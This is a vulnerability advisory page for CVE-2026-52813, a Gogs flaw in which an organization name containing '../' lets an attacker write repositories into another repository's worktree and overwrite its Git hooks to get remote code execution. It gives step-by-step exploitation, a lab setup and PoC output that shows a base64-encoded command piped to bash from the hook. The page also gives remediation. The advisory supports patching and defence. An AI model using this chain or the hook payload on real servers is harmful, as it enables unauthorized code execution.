CVE-2026-52813 — Gogs has Path Traversal in gogs.io/gogs — CVE Details
Gogs has Path Traversal in organization name that results in RCE through Git hooks
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.11%). Schedule for your next planned update.
Does your project use an affected gogs.io/gogs version?
Paste your go.sum to check it for CVE-2026-52813 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.
By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).
Details
During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.
Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.
An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.
The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):
- Create regular outer repository and get its ID
- Create organization named
../../../../data/gogs/data/tmp/local-r/{ID}/nested - Create a repository inside this organization (eg.
rce), which will be written into the local clone of the outer repository - From the outer repository, edit
nested/rce.git/hooks/updateto contain malicious shell commands - Interact with the
rcerepository again to trigger the updated hook, and RCE is achieved
PoC
- Set up a default Gogs instance by saving the following content to
docker-compose.ymland runningdocker compose up:
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: gogs
POSTGRES_PASSWORD: gogs
POSTGRES_DB: gogs
volumes:
- postgres-data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
interval: 5s
timeout: 5s
retries: 5
gogs:
image: gogs/gogs
depends_on:
db:
condition: service_healthy
ports:
- "3000:3000"
volumes:
- gogs-data:/data
restart: unless-stopped
volumes:
gogs-data:
postgres-data:
- Visit http://localhost:3000, set the Host to
db:5432and Password togogs. Under Admin Account Settings configure your admin account - As the attacker, register an account with username
attackerand passwordattackerat http://localhost:3000/user/sign_up - As the attacker, run the following script (in gist to avoid cluttering this advisory):
https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9
The output should look like:
$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
1 file changed, 1 insertion(+)
create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
b0b9886..3cf84b2 master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)
Impact
In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.
Advisory Timeline
- First published June 23, 2026 (156 days ago).
- Last revised July 21, 2026 — 28 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get gogs.io/gogs@v0.14.3
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| gogs.io/gogs Go · Affected: All versions | 0.14.3 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-23
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
- https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-52813ADVISORY
- https://github.com/gogs/gogs/pull/8334WEB
- https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7WEB
- https://github.com/gogs/gogsPACKAGE
- https://github.com/gogs/gogs/releases/tag/v0.14.3WEB
Frequently Asked Questions
- What is CVE-2026-52813?
- Gogs has Path Traversal in organization name that results in RCE through Git hooks. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
- How do I check if my project is affected by CVE-2026-52813?
- CVE-2026-52813 affects gogs.io/gogs. It has a 1.1% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-52813 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 65.4% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2022-2024CRITICAL
Gogs OS Command Injection vulnerability
- CVE-2026-52806CRITICAL
Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge
- CVE-2025-8110HIGH
Gogs vulnerable to a bypass of CVE-2024-55947
- CVE-2025-64175HIGH
Gogs Vulnerable to 2FA Bypass via Recovery Code
- CVE-2026-52797HIGH
Gogs: Overwriting critical files results in a denial of service
- CVE-2026-52800HIGH
Gogs Vulnerable to CSRF Leading to Organization Owner Takeover
- CVE-2024-55947HIGH
Path Traversal in file update API in gogs
- CVE-2024-54148HIGH
Remote Command Execution in file editing in gogs